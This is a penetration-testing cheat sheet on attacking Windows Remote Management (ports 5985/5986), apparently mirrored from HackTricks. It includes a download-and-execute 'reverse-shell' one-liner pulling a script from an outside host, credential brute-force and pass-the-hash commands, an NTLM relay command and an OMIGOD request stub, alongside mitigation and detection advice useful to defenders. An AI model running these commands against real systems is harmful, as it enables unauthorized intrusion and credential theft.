repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
5985-5986-pentesting-winrm.mdMarkdown381 lines17.5 KiBrendered raw download
---
title: "5985,5986 - Pentesting WinRM"
section: "Network Services"
sectionSlug: "network-services-pentesting"
sourcePath: "src/network-services-pentesting/5985-5986-pentesting-winrm.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/5985-5986-pentesting-winrm.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---

# 5985,5986 - Pentesting WinRM

## WinRM

[Windows Remote Management (WinRM)] is Microsoft's implementation of WS-Management. It provides remote management over HTTP(S) using SOAP and can expose WMI data and PowerShell Remoting endpoints.<sup>[[6]](#references)</sup>

The presence of WinRM on a machine allows for straightforward remote administration via PowerShell, akin to how SSH works for other operating systems. To determine if WinRM is operational, checking for the opening of specific ports is recommended:

- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**

An open port from the list above signifies that WinRM has been set up, thus permitting attempts to initiate a remote session.

### **Initiating a WinRM Session**

To configure PowerShell for WinRM, Microsoft's `Enable-PSRemoting` cmdlet comes into play, setting up the computer to accept remote PowerShell commands. With elevated PowerShell access, the following commands can be executed to enable this functionality and designate any host as trusted:

```bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```

This adds every host to `TrustedHosts`, which weakens peer authentication and should only be used in a controlled lab. On Windows clients, `Enable-PSRemoting` may also require changing a **Public** network profile to **Private** or narrowing the firewall rule explicitly.<sup>[[6]](#references)</sup>

Moreover, WinRM can be **activated remotely** using the `wmic` command, demonstrated as follows:

```bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```

This method requires sufficient remote WMI permissions and a reachable WMI/RPC service; the command does not bypass authentication.

### Test if configured

To verify the setup of your attack machine, the `Test-WSMan` command is utilized to check if the target has WinRM configured properly. By executing this command, you should expect to receive details concerning the protocol version and wsmid, indicating successful configuration.<sup>[[1]](#references)</sup> Below are examples demonstrating the expected output for a configured target versus an unconfigured one:

- For a target that **is** properly configured, the output will look similar to this:

```bash
Test-WSMan <target-ip>
```

The response should contain information about the protocol version and wsmid, signifying that WinRM is set up correctly.

![Initiating a WinRM Session - Test if configured: The response should contain information about the protocol version and wsmid, signifying that WinRM is set up correctly](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28582%29.png)

- Conversely, a target **not** configured for WinRM will return a connection or WS-Management error instead of those details.

![Initiating a WinRM Session - Test if configured: Conversely, for a target not configured for WinRM, the would result in no such detailed information, highlighting the absence of a proper...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28458%29.png)

### Execute a command

To execute `ipconfig` remotely on a target machine and view its output do:<sup>[[1]](#references)</sup>

```bash
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```

![Test if configured - Execute a command: Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} (-credential DOMAIN username)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28151%29.png)

You can also **execute a command of your current PS console via** _**Invoke-Command**_. Suppose that you have locally a function called _**enumeration**_ and you want to **execute it in a remote computer**, you can do:

```bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```

### Execute a Script

```bash
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```

### Get reverse-shell

```bash
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```

### Get a PS session

To get an interactive PowerShell shell use `Enter-PSSession`:<sup>[[1]](#references)</sup>

```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the username to indicate that it is a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```

![Save session in var - Background current PS session: Exit-PSSession This will leave it in background if it's inside an env var (New-PSSession...)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281009%29.png)

**The session will run in a new process (wsmprovhost) inside the "victim"**

### **Forcing WinRM Open**

To use PS Remoting and WinRM but the computer isn't configured, you could enable it with:<sup>[[1]](#references)</sup>

```bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```

### Saving and Restoring sessions

This **won't work** if the **language mode** is constrained on the remote computer.

```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the username to indicate that it is a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```

Inside these sessions, you can load PowerShell scripts using _Invoke-Command_:

```bash
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```

### Errors

If you find the following error:

`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`

Then try the following on the client:<sup>[[4]](#references)</sup>

```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```

## WinRM connection in linux

### Brute Force

Be careful: brute-forcing WinRM can lock user accounts. NetExec supports credential checking and spraying with the `winrm` protocol, including paired username/password lists through `--no-bruteforce`.<sup>[[11]](#references)</sup>

```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```

### Using evil-winrm

```ruby
gem install evil-winrm
```

Read the Evil-WinRM documentation for the complete option set.<sup>[[7]](#references)</sup>

```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>
```

To use evil-winrm to connect to an **IPv6 address** create an entry inside _**/etc/hosts**_ setting a **domain name** to the IPv6 address and connect to that domain.

### Pass the hash with evil-winrm

```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```

![Using evil-winrm - Pass the hash with evil-winrm: evil-winrm -u -H -i](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28680%29.png)

### Using a PS-docker machine

```text
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```

### Using a ruby script

**Code extracted from here:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)<sup>[[5]](#references)</sup>

```ruby
require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
  endpoint: 'https://IP:PORT/wsman',
  transport: :ssl,
  user: 'username',
  password: 'password',
  :no_ssl_peer_verification => true
)


class String
  def tokenize
    self.
      split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
      select {|s| not s.empty? }.
      map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
  end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets
        if command.start_with?('UPLOAD') then
            upload_command = command.tokenize
            print("Uploading " + upload_command[1] + " to " + upload_command[2])
            file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
                puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
            end
            command = "echo `nOK`n"
        end
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print(stdout)
            STDERR.print(stderr)
        end
    end
    puts("Exiting with code #{output.exitcode}")
end
```

## Recent Vulnerabilities & Offensive Techniques

### NTLM relay directly to WinRM (WS-MAN)
Current Impacket versions include WinRM/WinRMS relay clients and an interactive WinRM attack handler. Where NTLM relay protections permit it, captured NTLM authentication can be relayed to a **WS-Man** endpoint and used to open a remote shell. Whether the resulting context is highly privileged depends on the relayed account.<sup>[[8]](#references)</sup>

```bash
sudo ntlmrelayx.py -t winrm://10.0.0.25 --no-smb-server -smb2support
# Connect to the TCP shell printed by ntlmrelayx after a successful relay.
```

Mitigations:

- Remove unneeded HTTP listeners (`winrm enumerate winrm/config/listener`, followed by `winrm delete winrm/config/Listener?Address=<address>+Transport=HTTP`) and restrict access to required management networks.<sup>[[6]](#references)</sup>
- Prefer HTTPS, disable NTLM where feasible, and enable Extended Protection for Authentication where the deployment supports it.

### OMIGOD – CVE-2021-38647 (Azure OMI)
Some Azure Linux agents installed **Open Management Infrastructure (OMI)**, which could expose WS-Man over ports **5985/5986**. CVE-2021-38647 allowed unauthenticated remote code execution as root on vulnerable, network-exposed OMI listeners.<sup>[[3]](#references)</sup>

```text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
```

Patch or remove OMI (version ≥ 1.6.8-1) and block those ports from the Internet. 

### WSMan.Automation COM abuse for lateral movement
WinRM can be driven without starting `powershell.exe` through the `WSMan.Automation` COM object. This provides an alternative client path in environments that restrict PowerShell, although the remote endpoint's authorization and language-mode controls still apply. Tools such as *SharpWSManWinRM* wrap this technique.<sup>[[2]](#references)</sup><sup>[[12]](#references)</sup>

```powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId   = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
```

The execution chain (`svchost → wmiprvse → cmd.exe`) is identical to classic PS-Remoting. 

---

## Tooling updates

* **Evil-WinRM** supports Kerberos (`-r` with optional `-K` ticket and `--spn`), certificate authentication (`-c` public certificate and `-k` private key), session logging (`-l`), and disabling remote path completion (`-N`).<sup>[[7]](#references)</sup>

  ```bash
  evil-winrm -i srv01.acme.test -u j.doe -r ACME.TEST --spn HTTP
  ```

* **Python – `pypsrp`** provides WinRM and PowerShell Remoting from Linux, with optional Kerberos and CredSSP dependencies.<sup>[[9]](#references)</sup>

  ```python
  from psrp.client import Client
  c = Client('srv01', username='ACME\\j.doe', ssl=True)
  print(c.execute_cmd('ipconfig /all').std_out.decode())
  ```

* **Detection** – collect the **Microsoft-Windows-WinRM/Operational** log and correlate it with Security event **4624**, including the account, logon type, authentication package, workstation, and source network address. Add process-creation telemetry for `wsmprovhost.exe` and its children, and alert on unexpected external source addresses or unusual administrative commands.<sup>[[10]](#references)</sup>

---

## Shodan

- `port:5985 Microsoft-HTTPAPI`

## HackTricks Automatic Commands

```text
Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for WinRM
  Note: |
    Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

    sudo gem install winrm winrm-fs colorize stringio
    git clone https://github.com/Hackplayers/evil-winrm.git
    cd evil-winrm
    ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

    https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

    ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
    ^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
    menu
    invoke-binary `tab`

    #python3
    import winrm
    s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
    print(s.run_cmd('ipconfig'))
    print(s.run_ps('ipconfig'))

    https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html

Entry_2:
  Name: NetExec credential check
  Description: Need User
  Command: nxc winrm {IP} -u {Username} -p {Big_Passwordlist}
```

​

## References

- [1] [Using Credentials to Own Windows Boxes - Part 3 (WMI and WinRM)](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
- [2] [WS-Management COM: Another Approach for WinRM Lateral Movement](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
- [3] [OMIGOD: Critical Vulnerabilities in OMI Affecting Countless Azure Customers](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
- [4] [Remote PS session fails on non-domain server (ServerFault)](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)
- [5] [WinRM shell in Ruby (alamot)](https://alamot.github.io/winrm_shell/)
- [6] [Microsoft Learn: Installation and configuration for Windows Remote Management](https://learn.microsoft.com/en-us/windows/win32/winrm/installation-and-configuration-for-windows-remote-management)
- [7] [Hackplayers/evil-winrm documentation](https://github.com/Hackplayers/evil-winrm)
- [8] [Impacket WinRM relay attack implementation](https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/attacks/winrmattack.py)
- [9] [jborean93/pypsrp documentation](https://github.com/jborean93/pypsrp)
- [10] [Microsoft Learn: Security event 4624](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624)
- [11] [NetExec: Using credentials](https://github.com/Pennyw0rth/NetExec-Wiki/blob/main/getting-started/using-credentials.md)
- [12] [WSMan-WinRM](https://github.com/bohops/WSMan-WinRM)